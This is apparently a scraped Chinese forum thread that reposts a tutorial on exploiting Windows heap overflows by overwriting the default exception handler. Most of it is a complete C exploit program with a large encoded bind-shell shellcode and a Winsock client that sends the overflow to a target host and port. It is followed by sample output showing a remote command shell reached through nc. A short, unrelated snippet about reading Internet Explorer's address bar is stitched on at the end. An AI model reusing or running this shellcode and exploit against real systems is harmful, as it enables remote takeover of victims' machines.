    } 运行这个程序就可以获得你当前系统中存放默认异常处理的地址了。再回到我们HEAP溢出的问题上,我们可以通过改写默认异常处理来改变程序的流程,也就是改写0x77ebf44c这个内存单元的值为shellcode的地址。这是一个比较通用的方法,成功率也比较高。 还有一种方法是改写TEB即fs:[0]的地方,系统发生异常的时候会从这个地方取出最底层的异常链来进行异常处理,我们可以自己构造一个异常处理结构指向我们的shellcode,这样就可以达到控制程序流程的目的了,这个fs:[0]对于单线程的程序是比较固定的,但是对于多线程的不同线程会有所变化,所以还是不如改写默认异常处理好,因此我们最后决定改写默认异常处理的内存单元。 下面就是shellcode存放在哪里的问题了,我觉得这个问题没有通用的方法,要根据发生溢出的程序的情况而定,如果可以放在一个发生异常时有寄存器能够指向的地方那就是最完美的情况,这样就可以用一个系统DLL中有JMP EXX指令的地址来改写默认异常处理,其中EXX是指向shellcode的寄存器。但是这种情况似乎比较少见,一般shellcode也没办法放到这种位置上来,那就只能用shellcode的地址来直接定位,可以在shellcode前面放上大量NOP来提高成功率。对于前面那个漏洞程序,我们就使用shellcode的地址来改写默认异常处理的方法。 但是这里还有一个小问题,发生写内存操作的有两个指令: 77FCB397 mov [ecx], eax 
    77FCB399 mov [eax+4], ecx 这样不但会把shellcode地址写进默认异常处理地址中,也会把默认异常处理地址写进[shellcode地址+4]的内存单元当中,这样就把shellcode中要执行的指令给破坏了。要解决这个问题,我们可以用一个jmp 6这样的指令来代替nop,这样就能够跳过后面被破坏的字节。 理论上的问题都解决了,现在就可以写出攻击程序来了: /* 
    win_heap_exp.c 
    HEAP溢出漏洞的攻击程序 
    */ 
    #include 
    #include 
    #include unsigned char shellcode[] = 
    //打开7788端口的shellcode 
    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" 
    \"\\xeb\\x18\\x5f\\x57\\x5e\\x33\\xc9\\xac\\x3a\\xc1\\x74\\x13\\x3c\\x30\\x74\\x05\" 
    \"\\x34\\xaa\\xaa\\xeb\\xf2\\xac\\x2c\\x40\\xeb\\xf6\\xe8\\xe3\\xff\\xff\\xff\\xff\" 
    \"\\x21\\x46\\x2b\\x46\\xea\\xa3\\xaa\\xaa\\xf9\\xfc\\xfd\\x27\\x17\\x6a\\x30\\x9c\" 
    \"\\x55\\x55\\x13\\xfa\\xa8\\xaa\\xaa\\x12\\x66\\x66\\x66\\x66\\x59\\x30\\x41\\x6d\" 
    \"\\x30\\x6f\\x30\\x46\\x5d\\x55\\x55\\xaa\\xaa\\xaa\\xaa\\x6d\\x30\\x6f\\x9e\\x5d\" 
    \"\\x55\\x55\\xba\\xaa\\xaa\\xaa\\x43\\x48\\xac\\xaa\\xaa\\x25\\x30\\x6f\\x30\\x42\" 
    \"\\x5d\\x55\\x55\\x27\\x17\\x5e\\x5d\\x55\\x55\\xce\\x30\\x4b\\xaa\\xaa\\xaa\\xaa\" 
    \"\\x23\\xed\\xa2\\xce\\x23\\x97\\xaa\\xaa\\xaa\\xaa\\x6d\\x30\\x6f\\x5e\\x5d\\x55\" 
    \"\\x55\\x55\\x55\\x55\\x55\\x21\\x30\\x6f\\x30\\x42\\x5d\\x55\\x55\\x29\\x42\\xad\" 
    \"\\x23\\x30\\x6f\\x52\\x5d\\x55\\x55\\x6d\\x30\\x6f\\x30\\x4e\\x5d\\x55\\x55\\xaa\" 
    \"\\xaa\\x4a\\xdd\\x42\\xd4\\xac\\xaa\\xaa\\x29\\x17\\x30\\x46\\x5d\\x55\\x55\\xaa\" 
    \"\\xa5\\x30\\x6f\\x77\\xab\\xaa\\xaa\\x21\\x27\\x30\\x4e\\x5d\\x55\\x55\\x2b\\x6b\" 
    \"\\xaa\\xaa\\xab\\xaa\\x23\\x27\\x30\\x4e\\x5d\\x55\\x55\\x2b\\x17\\x30\\x4e\\x5d\" 
    \"\\x55\\x55\\xaa\\xaa\\xaa\\xd2\\xdf\\xa0\\x6d\\x30\\x6f\\x30\\x4e\\x5d\\x55\\x55\" 
    \"\\xaa\\xaa\\x5a\\x15\\x21\\x3f\\x30\\x4e\\x5d\\x55\\x55\\x99\\x6a\\xcc\\x21\\xa8\" 
    \"\\x97\\xe7\\xf0\\xaa\\xaa\\xa5\\x30\\x6f\\x30\\x70\\xab\\xaa\\xaa\\x21\\x27\\x30\" 
    \"\\x4e\\x5d\\x55\\x55\\x21\\xfb\\x96\\x21\\x30\\x6f\\x30\\x4e\\x5d\\x55\\x55\\x99\" 
    \"\\x63\\xcc\\x21\\xa6\\xba\\x2b\\x53\\xfa\\xef\\xaa\\xaa\\xa5\\x30\\x6f\\xd3\\xab\" 
    \"\\xaa\\xaa\\x21\\x3f\\x30\\x4e\\x5d\\x55\\x55\\x21\\xe8\\x96\\x21\\x27\\x30\\x4e\" 
    \"\\x5d\\x55\\x55\\x21\\xfe\\xab\\xd2\\xa9\\x3f\\x30\\x4e\\x5d\\x55\\x55\\x23\\x3f\" 
    \"\\x30\\x4a\\x5d\\x55\\x55\\x21\\x30\\x6f\\x30\\x4a\\x5d\\x55\\x55\\x21\\xe2\\xa6\" 
    \"\\xa9\\x27\\x30\\x4e\\x5d\\x55\\x55\\x23\\x27\\x36\\x5d\\x55\\x55\\x21\\x3f\\x36\" 
    \"\\x5d\\x55\\x55\\x2b\\x90\\xe1\\xef\\xf8\\xe4\\xa5\\x30\\x6f\\x99\\xab\\xaa\\xaa\" 
    \"\\x21\\x30\\x6f\\x36\\x5d\\x55\\x55\\x2b\\xd2\\xae\\xef\\xe6\\x99\\x98\\xa5\\x30\" 
    \"\\x6f\\x8a\\xab\\xaa\\xaa\\x21\\x27\\x30\\x4e\\x5d\\x55\\x55\\x23\\x27\\x3e\\x5d\" 
    \"\\x55\\x55\\x21\\x3f\\x30\\x4a\\x5d\\x55\\x55\\x21\\x30\\x6f\\x30\\x4e\\x5d\\x55\" 
    \"\\x55\\xa9\\xe8\\x8a\\x23\\x30\\x6f\\x36\\x5d\\x55\\x55\\x6d\\x30\\x6f\\x32\\x5d\" 
    \"\\x55\\x55\\xaa\\xaa\\xaa\\xaa\\x41\\xb4\\x21\\x27\\x32\\x5d\\x55\\x55\\x29\\x6b\" 
      

  10.   

    \"\\xab\\x23\\x27\\x32\\x5d\\x55\\x55\\x21\\x3f\\x36\\x5d\\x55\\x55\\x29\\x68\\xae\" 
    \"\\x23\\x3f\\x36\\x5d\\x55\\x55\\x21\\x30\\x6f\\x30\\x4a\\x5d\\x55\\x55\\x21\\x27\" 
    \"\\x32\\x5d\\x55\\x55\\x91\\xe2\\xb2\\xa5\\x27\\x6a\\xaa\\xaa\\xaa\\x21\\x3f\\x36\" 
    \"\\x5d\\x55\\x55\\x21\\xa8\\x21\\x27\\x30\\x4e\\x5d\\x55\\x55\\x2b\\x96\\xab\\xed\" 
    \"\\xcf\\xde\\xfa\\xa5\\x30\\x6f\\x30\\x4a\\xaa\\xaa\\xaa\\x21\\x3f\\x36\\x5d\\x55\" 
    \"\\x55\\x21\\xa8\\x21\\x27\\x30\\x4e\\x5d\\x55\\x55\\x2b\\xd6\\xab\\xae\\xd8\\xc5\" 
    \"\\xc9\\xeb\\xa5\\x30\\x6f\\x30\\x6e\\xaa\\xaa\\xaa\\x21\\x3f\\x32\\x5d\\x55\\x55\" 
    \"\\xa9\\x3f\\x32\\x5d\\x55\\x55\\xa9\\x3f\\x30\\x4e\\x5d\\x55\\x55\\x21\\x30\\x6f\" 
    \"\\x30\\x4a\\x5d\\x55\\x55\\x21\\xe2\\x8e\\x99\\x6a\\xcc\\x21\\xae\\xa0\\x23\\x30\" 
    \"\\x6f\\x36\\x5d\\x55\\x55\\x21\\x27\\x30\\x4a\\x5d\\x55\\x55\\x21\\xfb\\xba\\x21\" 
    \"\\x30\\x6f\\x36\\x5d\\x55\\x55\\x27\\xe6\\xba\\x55\\x23\\x27\\x36\\x5d\\x55\\x55\" 
    \"\\x21\\x3f\\x36\\x5d\\x55\\x55\\xa9\\x3f\\x36\\x5d\\x55\\x55\\xa9\\x3f\\x36\\x5d\" 
    \"\\x55\\x55\\xa9\\x3f\\x36\\x5d\\x55\\x55\\xa9\\x3f\\x30\\x4e\\x5d\\x55\\x55\\x21\" 
    \"\\x30\\x6f\\x30\\x4a\\x5d\\x55\\x55\\x21\\xe2\\xb6\\x21\\xbe\\xa0\\x23\\x3f\\x36\" 
    \"\\x5d\\x55\\x55\\x21\\x30\\x6f\\x36\\x5d\\x55\\x55\\xa9\\x30\\x6f\\x30\\x4e\\x5d\" 
    \"\\x55\\x55\\x23\\x30\\x6f\\x30\\x46\\x5d\\x55\\x55\\x41\\xaf\\x43\\xa7\\x55\\x55\" 
    \"\\x55\\x43\\xbc\\x54\\x55\\x55\\x27\\x17\\x5e\\x5d\\x55\\x55\\x21\\xed\\xa2\\xce\" 
    \"\\x30\\x49\\xaa\\xaa\\xaa\\xaa\\x29\\x17\\x30\\x46\\x5d\\x55\\x55\\xaa\\xdf\\xaf\" 
    \"\\x43\\xdf\\xae\\xaa\\xaa\\x21\\x27\\x30\\x42\\x5d\\x55\\x55\\xcc\\x21\\xbb\\xcc\" 
    \"\\x23\\x3f\\x86\\x5d\\x55\\x55\\x21\\x30\\x6f\\x30\\x42\\x5d\\x55\\x55\\x29\\x6a\" 
    \"\\xa8\\x23\\x30\\x6f\\x30\\x42\\x5d\\x55\\x55\\x6d\\x30\\x6f\\x36\\x5d\\x55\\x55\" 
    \"\\xab\\xaa\\xaa\\xaa\\x41\\xa5\\x21\\x27\\x36\\x5d\\x55\\x55\\x29\\x6b\\xab\\x23\" 
    \"\\x27\\x36\\x5d\\x55\\x55\\x29\\x17\\x36\\x5d\\x55\\x55\\xbb\\xa5\\x27\\x3f\\xaa\" 
    \"\\xaa\\xaa\\x29\\x17\\x36\\x5d\\x55\\x55\\xa2\\xdf\\xb4\\x21\\x5e\\x21\\x3f\\x30\" 
    \"\\x42\\x5d\\x55\\x55\\xf8\\x55\\x3f\\x1e\\x5d\\x55\\x55\\x91\\x5e\\x3a\\xe9\\xe1\" 
    \"\\xe9\\xe1\\x23\\x30\\x6f\\x3e\\x5d\\x55\\x55\\x41\\x80\\x21\\x5e\\x21\\x30\\x6f\" 
    \"\\x30\\x42\\x5d\\x55\\x55\\xfa\\x21\\x27\\x3e\\x5d\\x55\\x55\\xfb\\x55\\x3f\\x30\" 
    \"\\x46\\x5d\\x55\\x55\\x91\\x5e\\x3a\\xe9\\xe1\\xe9\\xe1\\x21\\x3f\\x36\\x5d\\x55\" 
    \"\\x55\\x23\\x30\\x6e\\x3f\\x1a\\x5d\\x55\\x55\\x41\\xa5\\x21\\x30\\x6f\\x30\\x42\" 
    \"\\x5d\\x55\\x55\\x29\\x6a\\xab\\x23\\x30\\x6f\\x30\\x42\\x5d\\x55\\x55\\x21\\x27\" 
    \"\\x30\\x42\\x5d\\x55\\x55\\xa5\\x14\\xbb\\x30\\x6f\\x78\\xdf\\xba\\x21\\x30\\x6f\" 
    \"\\x30\\x42\\x5d\\x55\\x55\\xa5\\x14\\xe2\\xab\\x30\\x6f\\x63\\xde\\xa8\\x41\\xa8\" 
    \"\\x41\\x78\\x21\\x3f\\x30\\x42\\x5d\\x55\\x55\\x29\\x68\\xab\\x23\\x3f\\x30\\x42\" 
    \"\\x5d\\x55\\x55\\x43\\xe5\\x55\\x55\\x55\\x21\\x5e\\xc0\\xac\\xc0\\xab\\xc0\\xa8\" 
    \"\\x55\\x3f\\x7e\\x5d\\x55\\x55\\x91\\x5e\\x3a\\xe9\\xe1\\xe9\\xe1\\x23\\x30\\x6f\" 
    \"\\xe6\\x5d\\x55\\x55\\xcc\\x6d\\x30\\x6f\\x92\\x5d\\x55\\x55\\xa8\\xaa\\xcc\\x21\" 
    \"\\x30\\x6f\\x86\\x5d\\x55\\x55\\xcc\\x23\\x30\\x6f\\x90\\x5d\\x55\\x55\\x6d\\x30\" 
    \"\\x6f\\x96\\x5d\\x55\\x55\\xaa\\xaa\\xaa\\xaa\\x6d\\x30\\x6f\\x36\\x5d\\x55\\x55\" 
    \"\\xab\\xaa\\xaa\\xaa\\x29\\x17\\x36\\x5d\\x55\\x55\\xaa\\xde\\xf5\\x21\\x5e\\xc0\" 
    \"\\xba\\x27\\x27\\x92\\x5d\\x55\\x55\\xfb\\x21\\x3f\\xe6\\x5d\\x55\\x55\\xf8\\x55\" 
    \"\\x3f\\x72\\x5d\\x55\\x55\\x91\\x5e\\x3a\\xe9\\xe1\\xe9\\xe1\\x23\\x30\\x6f\\x36\" 
    \"\\x5d\\x55\\x55\\xcc\\x21\\x30\\x6f\\x90\\x5d\\x55\\x55\\xcc\\xaf\\xaa\\xab\\xcc\" 
    \"\\x23\\x30\\x6f\\x90\\x5d\\x55\\x55\\x21\\x27\\x90\\x5d\\x55\\x55\\x2b\\x4b\\x55\" 
    \"\\x55\\xaa\\xaa\\x2b\\x53\\xaa\\xab\\xaa\\xaa\\xd7\\xb8\\xcc\\x21\\x3f\\x90\\x5d\" 
    \"\\x55\\x55\\xcc\\x29\\x68\\xab\\xcc\\x23\\x3f\\x90\\x5d\\x55\\x55\\x41\\x32\\x21\" 
    \"\\x5e\\xc0\\xa0\\x21\\x30\\x6f\\xe6\\x5d\\x55\\x55\\xfa\\x55\\x3f\\x76\\x5d\\x55\" 
    \"\\x55\\x91\\x5e\\x3a\\xe9\\xe1\\xe9\\xe1\\x13\\xab\\xaa\\xaa\\xaa\\x30\\x6f\\x63\" 
    \"\\xa5\\x30\\x6e\\x6c\\xa8\\xaa\\xaa\\x21\\x5e\\x27\\x3f\\x9e\\x5d\\x55\\x55\\xf8\" 
    \"\\x27\\x30\\x6f\\x92\\x5d\\x55\\x55\\xfa\\x21\\x27\\xe6\\x5d\\x55\\x55\\xfb\\x55\" 
    \"\\x3f\\x4a\\x5d\\x55\\x55\\x91\\x5e\\x3a\\xe9\\xe1\\xe9\\xe1\\x23\\x30\\x6f\\xe2\" 
    \"\\x5d\\x55\\x55\\x6d\\x30\\x6f\\xaa\\x5d\\x55\\x55\\xa6\\xaa\\xaa\\xaa\\x6d\\x30\" 
    \"\\x6f\\xae\\x5d\\x55\\x55\\xaa\\xaa\\xaa\\xaa\\x6d\\x30\\x6f\\xa2\\x5d\\x55\\x55\" 
    \"\\xab\\xaa\\xaa\\xaa\\x21\\x5e\\xc0\\xaa\\x27\\x3f\\xaa\\x5d\\x55\\x55\\xf8\\x27\" 
    \"\\x30\\x6f\\xbe\\x5d\\x55\\x55\\xfa\\x27\\x27\\xb2\\x5d\\x55\\x55\\xfb\\x55\\x3f\" 
    \"\\x12\\x5d\\x55\\x55\\x91\\x5e\\x3a\\xe9\\xe1\\xe9\\xe1\\x21\\x5e\\xc0\\xaa\\x27\" 
    \"\\x3f\\xaa\\x5d\\x55\\x55\\xf8\\x27\\x30\\x6f\\xa6\\x5d\\x55\\x55\\xfa\\x27\\x27\" 
    \"\\xba\\x5d\\x55\\x55\\xfb\\x55\\x3f\\x12\\x5d\\x55\\x55\\x91\\x5e\\x3a\\xe9\\xe1\" 
    \"\\xe9\\xe1\\x27\\x17\\xfa\\x5d\\x55\\x55\\x99\\x6a\\x13\\xbb\\xaa\\xaa\\xaa\\x58\" 
    \"\\x30\\x41\\x6d\\x30\\x6f\\xd6\\x5d\\x55\\x55\\xab\\xab\\xaa\\xaa\\xcc\\x6d\\x30\" 
    \"\\x6f\\x2a\\x5d\\x55\\x55\\xaa\\xaa\\x21\\x3f\\xba\\x5d\\x55\\x55\\x23\\x3f\\x22\" 
    \"\\x5d\\x55\\x55\\x21\\x30\\x6f\\xbe\\x5d\\x55\\x55\\x23\\x30\\x6f\\x26\\x5d\\x55\" 
    \"\\x55\\x21\\x27\\xbe\\x5d\\x55\\x55\\x23\\x27\\x3a\\x5d\\x55\\x55\\x21\\x5e\\x27\" 
    \"\\x3f\\xb6\\x5d\\x55\\x55\\xf8\\x27\\x30\\x6f\\xfa\\x5d\\x55\\x55\\xfa\\xc0\\xaa\" 
    \"\\xc0\\xaa\\xc0\\xaa\\xc0\\xab\\xc0\\xaa\\xc0\\xaa\\x21\\x27\\x30\\x42\\x5d\\x55\" 
    \"\\x55\\xfb\\xc0\\xaa\\x55\\x3f\\x16\\x5d\\x55\\x55\\x91\\x5e\\x3a\\xe9\\xe1\\xe9\" 
    \"\\xe1\\x23\\x30\\x6f\\x36\\x5d\\x55\\x55\\x21\\x5e\\xc0\\xaa\\xc0\\xaa\\x27\\x3f\" 
    \"\\x9a\\x5d\\x55\\x55\\xf8\\xc2\\xaa\\xae\\xaa\\xaa\\x27\\x30\\x6f\\xaa\\x52\\x55\" 
    \"\\x55\\xfa\\x21\\x27\\xb2\\x5d\\x55\\x55\\xfb\\x55\\x3f\\x6e\\x5d\\x55\\x55\\x91\" 
    \"\\x5e\\x3a\\xe9\\xe1\\xe9\\xe1\\x30\\x50\\xab\\xaa\\xaa\\xaa\\x30\\x6f\\x78\\xa5\" 
    \"\\x30\\x6e\\xdf\\xab\\xaa\\xaa\\x21\\x5e\\xc0\\xaa\\xc0\\xaa\\x27\\x30\\x6f\\x9a\" 
    \"\\x5d\\x55\\x55\\xfa\\xc2\\xaa\\xae\\xaa\\xaa\\x27\\x27\\xaa\\x52\\x55\\x55\\xfb\" 
    \"\\x21\\x3f\\xb2\\x5d\\x55\\x55\\xf8\\x55\\x3f\\x6e\\x5d\\x55\\x55\\x91\\x5e\\x3a\" 
    \"\\xe9\\xe1\\xe9\\xe1\\x29\\x17\\x9a\\x5d\\x55\\x55\\xaa\\xa5\\x24\\x30\\x6e\\xaa\" 
    \"\\xaa\\xaa\\x21\\x5e\\xc0\\xaa\\x27\\x30\\x6f\\x9a\\x5d\\x55\\x55\\xfa\\x21\\x27\" 
    \"\\x9a\\x5d\\x55\\x55\\xfb\\x27\\x3f\\xaa\\x52\\x55\\x55\\xf8\\x21\\x30\\x6f\\xb2
      

  11.   

    \" 
    \"\\x5d\\x55\\x55\\xfa\\x55\\x3f\\x62\\x5d\\x55\\x55\\x91\\x5e\\x3a\\xe9\\xe1\\xe9\" 
    \"\\xe1\\x29\\x17\\x9a\\x5d\\x55\\x55\\xaa\\xd4\\x82\\x21\\x5e\\xc0\\xaa\\x21\\x27\" 
    \"\\x9a\\x5d\\x55\\x55\\xfb\\x27\\x3f\\xaa\\x52\\x55\\x55\\xf8\\x21\\x30\\x6f\\xe2\" 
    \"\\x5d\\x55\\x55\\xfa\\x55\\x3f\\x4e\\x5d\\x55\\x55\\x91\\x5e\\x3a\\xe9\\xe1\\xe9\" 
    \"\\xe1\\x41\\x8b\\x21\\x5e\\xc0\\xaa\\xc0\\xa2\\x21\\x27\\x30\\x42\\x5d\\x55\\x55\" 
    \"\\xfb\\x21\\x3f\\xe2\\x5d\\x55\\x55\\xf8\\x55\\x3f\\x4e\\x5d\\x55\\x55\\x91\\x5e\" 
    \"\\x3a\\xe9\\xe1\\xe9\\xe1\\x43\\x18\\xaa\\xaa\\xaa\\x21\\x5e\\xc0\\xaa\\xc2\\xaa\" 
    \"\\xae\\xaa\\xaa\\x27\\x30\\x6f\\xaa\\x52\\x55\\x55\\xfa\\x21\\x27\\xe2\\x5d\\x55\" 
    \"\\x55\\xfb\\x55\\x3f\\x42\\x5d\\x55\\x55\\x91\\x5e\\x3a\\xe9\\xe1\\xe9\\xe1\\x23\" 
    \"\\x30\\x6f\\x9a\\x5d\\x55\\x55\\x29\\x17\\x9a\\x5d\\x55\\x55\\xaa\\xd5\\xf8\\x6d\" 
    \"\\x30\\x6f\\x9a\\x5d\\x55\\x55\\xac\\xaa\\xaa\\xaa\\x21\\x5e\\xc0\\xaa\\x27\\x3f\" 
    \"\\x9a\\x5d\\x55\\x55\\xf8\\x21\\x30\\x6f\\x9a\\x5d\\x55\\x55\\xfa\\x21\\x27\\x30\" 
    \"\\x42\\x5d\\x55\\x55\\x29\\x6b\\xa2\\xfb\\x21\\x3f\\xa6\\x5d\\x55\\x55\\xf8\\x55\" 
    \"\\x3f\\x66\\x5d\\x55\\x55\\x91\\x5e\\x3a\\xe9\\xe1\\xe9\\xe1\\x21\\x5e\\x21\\x30\" 
    \"\\x6f\\xe2\\x5d\\x55\\x55\\xfa\\x55\\x3f\\x5a\\x5d\\x55\\x55\\x91\\x5e\\x3a\\xe9\" 
    \"\\xe1\\xe9\\xe1\\x41\\x98\\x21\\x5e\\xc0\\xaa\\x27\\x27\\x9a\\x5d\\x55\\x55\\xfb\" 
    \"\\x21\\x3f\\x9a\\x5d\\x55\\x55\\xf8\\x27\\x30\\x6f\\xaa\\x52\\x55\\x55\\xfa\\x21\" 
    \"\\x27\\xa6\\x5d\\x55\\x55\\xfb\\x55\\x3f\\x66\\x5d\\x55\\x55\\x91\\x5e\\x3a\\xe9\" 
    \"\\xe1\\xe9\\xe1\\x43\\xd4\\x54\\x55\\x55\\x43\\x87\\x57\\x55\\x55\\x41\\x54\\xf2\" 
    \"\\xfa\\x21\\x17\\x30\\x42\\x5d\\x55\\x55\\x23\\xed\\x58\\x69\\x21\\xee\\x8e\\xa6\" 
    \"\\xaf\\x12\\xaa\\xaa\\xaa\\x6d\\xaa\\xee\\x99\\x88\\xbb\\x99\\x6a\\x69\\x41\\x46\" 
    \"\\x42\\xb3\\x53\\x55\\x55\\xb4\\xc6\\xe6\\xc5\\xcb\\xce\\xe6\\xc3\\xc8\\xd8\\xcb\" 
    \"\\xd8\\xd3\\xeb\\xaa\\xe9\\xd8\\xcf\\xcb\\xde\\xcf\\xfa\\xc3\\xda\\xcf\\xaa\\xe9\" 
    \"\\xd8\\xcf\\xcb\\xde\\xcf\\xfa\\xd8\\xc5\\xc9\\xcf\\xd9\\xd9\\xeb\\xaa\\xe9\\xc6\" 
    \"\\xc5\\xd9\\xcf\\xe2\\xcb\\xc4\\xce\\xc6\\xcf\\xaa\\xfa\\xcf\\xcf\\xc1\\xe4\\xcb\" 
    \"\\xc7\\xcf\\xce\\xfa\\xc3\\xda\\xcf\\xaa\\xf8\\xcf\\xcb\\xce\\xec\\xc3\\xc6\\xcf\" 
    \"\\xaa\\xfd\\xd8\\xc3\\xde\\xcf\\xec\\xc3\\xc6\\xcf\\xaa\\xdd\\xd9\\x98\\xf5\\x99\" 
    \"\\x98\\x84\\xce\\xc6\\xc6\\xaa\\xd9\\xc5\\xc9\\xc1\\xcf\\xde\\xaa\\xc8\\xc3\\xc4\" 
    \"\\xce\\xaa\\xc6\\xc3\\xd9\\xde\\xcf\\xc4\\xaa\\xcb\\xc9\\xc9\\xcf\\xda\\xde\\xaa\" 
    \"\\xd9\\xcf\\xc4\\xce\\xaa\\xd8\\xcf\\xc9\\xdc\\xaa\\xc3\\xc5\\xc9\\xde\\xc6\\xd9\" 
    \"\\xc5\\xc9\\xc1\\xcf\\xde\\xaa\\xc9\\xc6\\xc5\\xd9\\xcf\\xd9\\xc5\\xc9\\xc1\\xcf\" 
    \"\\xde\\xaa\\xc9\\xc7\\xce\\x84\\xcf\\xd2\\xcf\\xaa\\xcf\\xd2\\xc3\\xde\\xa7\\xa0\" 
    \"\\xaa\"; 
    /* 2161+16 bytes long */ int main(int argc, char *argv[]) 

    WSADATA wsd; 
    SOCKET sClient; 
    int ret, i; 
    struct sockaddr_in server; 
    struct hostent *host = NULL; char buff[4096] = {0}; if(argc != 3) 

    printf(\"usage: %s target port\\n\", argv[0]); 
    exit(1); 

    if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) 

    printf(\"Failed to load Winsock library!\\n\"); 
    return 1; 

      

  12.   

    sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
    if (sClient == INVALID_SOCKET) 

    printf(\"socket() failed: %d\\n\", WSAGetLastError()); 
    return 1; 

    server.sin_family = AF_INET; 
    server.sin_port = htons((u_short)atoi(argv[2])); 
    server.sin_addr.s_addr = inet_addr(argv[1]); 
    if (server.sin_addr.s_addr == INADDR_NONE) 

    host = gethostbyname(argv[1]); 
    if (host == NULL) 

    printf(\"Unable to resolve server: %s\\n\", argv[1]); 
    return 1; 

    CopyMemory(&server.sin_addr, host->h_addr_list[0], 
    host->h_length); 

    //连接到目标主机的1500端口 
    if (connect(sClient, (struct sockaddr *)&server, 
    sizeof(server)) == SOCKET_ERROR) 

    printf(\"connect() failed: %d\\n\", WSAGetLastError()); 
    return 1; 

    //下面开始构造溢出串 
    for(i=0;i { 
    buff[i++] = 0xeb; 
    buff[i++] = 0x06; 

    //先把前面放上大量的jmp 6指令(0xeb,0x06)作为NOP 
    *(unsigned int *)&buff[32+8] = 0x0012f5bf; //shellcode地址 
    *(unsigned int *)&buff[32+8+4] = 0x77ebf44c; //默认异常处理地址 
    //在对应的位置放上要改写的内存地址和shellcode地址, 
    //这里用的shellcode地址是放在漏洞程序中的char buff[4096]里面的, 
    //这个是堆栈中的缓冲区地址,在不同的系统中可能略有不同 
    memcpy(&buff[sizeof(buff)-strlen(shellcode)-1],shellcode,strlen(shellcode)); 
    //然后把shellcode放在最后面 
    /* 
    整个构造好的溢出串如下: 
    +------------------------------------------------------------------------------+ 
    |jmp 6 jmp 6...|0x0012f5bf|0x77ebf44c|jmp 6 jmp 6...jmp 6 jmp 6| shellcode | 
    +------------------------------------------------------------------------------+ 
    | 40 bytes | 4 bytes | 4 bytes | |shellcode的长度| 
    */ 
    //shellcode的前面要放上几个0x90,以便最后一个jmp 6可以跳到其中 
    buff[sizeof(buff)-1] = 0; i = 4096; 
    //把溢出串发送过去 
    ret = send(sClient, buff, i, 0); 
    printf(\"shellcode sended!\\ntelnet to 7788 port\"); closesocket(sClient); 
    WSACleanup(); 
    return 0; 
    } 我们首先以RELEASE模式来编译有漏洞的程序win_heap_vul.c,并运行起来。 
    然后再编译并运行攻击程序win_heap_exp.c: C:\\HEAP\\client\\Debug>win_heap_exp localhost 1500 
    shellcode sended! 
    telnet to 7788 port 如果攻击成功,就会在目标主机上打开7788端口,用nc连上去。 
    C:\\HEAP\\client\\Debug>nc -vv localhost 7788 
    YANX [127.0.0.1] 7788 (?) open Microsoft Windows 2000 [Version 5.00.2195] 
    (C) 版权所有 1985-2000 Microsoft Corp. C:\\HEAP\\server\\Release>dir C:\\HEAP\\server\\Release> 
    dir 
    驱动器 C 中的卷没有标签。 
    卷的序列号是 D4FF-AC1D C:\\HEAP\\server\\Release 的目录 2002-05-28 18:10 

    2002-05-28 18:10 
    .. 
    2002-05-28 18:10 33,792 vc60.idb 
    2002-05-28 18:10 40,960 win_heap_vul.exe 
    2002-05-28 18:10 2,676 win_heap_vul.obj 
    2002-05-28 18:10 2,910,400 win_heap_vul.pch 
    4 个文件 2,987,828 字节 
    2 个目录 2,044,203,008 可用字节 C:\\HEAP\\server\\Release>exit 成功的攻击了HEAP溢出漏洞的程序,并打开了7788端口。 五、总结 
    通过上面的分析和例子,我们已经知道了如何利用Windows下的HEAP溢出。Windows下的HEAP溢出和Linux等系统的都差不多,都是将超长的数据拷贝到动态分配的内存块,从而导致覆盖掉内存块间的管理结构造成的。唯一不同之处在于Linux等系统的HEAP溢出是通过free()时被利用的,而Windows是在再次分配内存是产生问题的,这种情况应该也是很容易出现的,ASP溢出就是最典型的例子。 但是现在利用这种漏洞还存在一些问题: 1、对于线程异常链上所有异常处理函数都无法处理的异常,系统才交给默认异常来处理,只有在这种情况下我们改写默认异常处理才有效。也就是说,只有溢出后弹出错误对话框的漏洞程序,我们才能够用上面方法来利用,否则的话,就必须改写其他地方,例如TEB的第一个内存单元,或者保存在堆栈中的函数返回地址等。 2、上面的程序用的是shellcode的地址直接定位的方法,这种方法在某些情况下可能会造成攻击程序的通用性比较差。其实对于上面那个漏洞程序,我们也可以用在系统DLL中的JMP EBP-XXX指令的方法来定位shellcode,这样的指令是可以找到的,但是这种方法并不具备通用性,因此在上面例子里还是用了直接定位shellcode的方法。对于一些可以反复攻击的漏洞程序,我们也可以采取暴力法来猜测这个地址。 3、如果溢出发生在进程的默认HEAP上(即通过GetProcessHeap()获得的),那么在执行shellcode时会出现一些问题,因为溢出破坏掉一些HEAP管理结构,而shellcode中调用的一些API函数会在进程默认堆上进行内存分配工作,因此会导致shellcode无法正常运行。要解决这个问题就需要在shellcode里下一些功夫,可以在shellcode实际功能之前恢复被破坏的管理结构,或者不使用进行HEAP分配的函数,这肯定是一个可以解决的问题。 Windows下的HEAP溢出的发展还不完善,没有统一通用的方法来利用,要根据出现溢出的程序的具体情况来使用不同的方法来进行攻击。我写下本文的目的在于抛砖引玉,希望众位高手能够提出更多更好的办法来解决这些问题,使得HEAP溢出能够像STACK溢出那样容易利用。  
      

  13.   

    让应用程序从IE中获取键入的网址     
    转自:www.csdn.net
     
    文章正文  
    前些时候,朋友想做一个小共享软件,软件的主要作用是阻止用户进入某些网站,他的设想是从IE的地址栏中获取键入的网址,如果这个网址非法的话,则不可以进入,代码如下: HWND hwnd=::FindWindow(_T("IEFrame"),NULL);
      if(hwnd)
     {
        HWND hwnd2=::FindWindowEx(hwnd,NULL,_T("Edit"),NULL);
       char sz[255];
      ::SendMessage(hwnd2,WM_GETTEXT,255,(LPARAM)sz);
      AfxMessageBox(sz);
     }结果发现不能得到正确的结果,从SPY上看,类名也全部是正确的,为什么不能得到正确的结果呢?看了他的代码后,我进行了如下改动,就可以得到正确的结果了:HWND hwnd=::FindWindow(_T("IEFrame"),NULL);
     if(hwnd)
     {
      HWND hwnd2=::FindWindowEx(hwnd,NULL,_T("WorkerW"),NULL);
      HWND hwnd3=::FindWindowEx(hwnd2,NULL,_T("ReBarWindow32"),NULL);
      HWND hwnd4=::FindWindowEx(hwnd3,NULL,_T("ComboBoxEx32"),NULL);
      HWND hwnd5=::FindWindowEx(hwnd4,NULL,_T("ComboBox"),NULL);
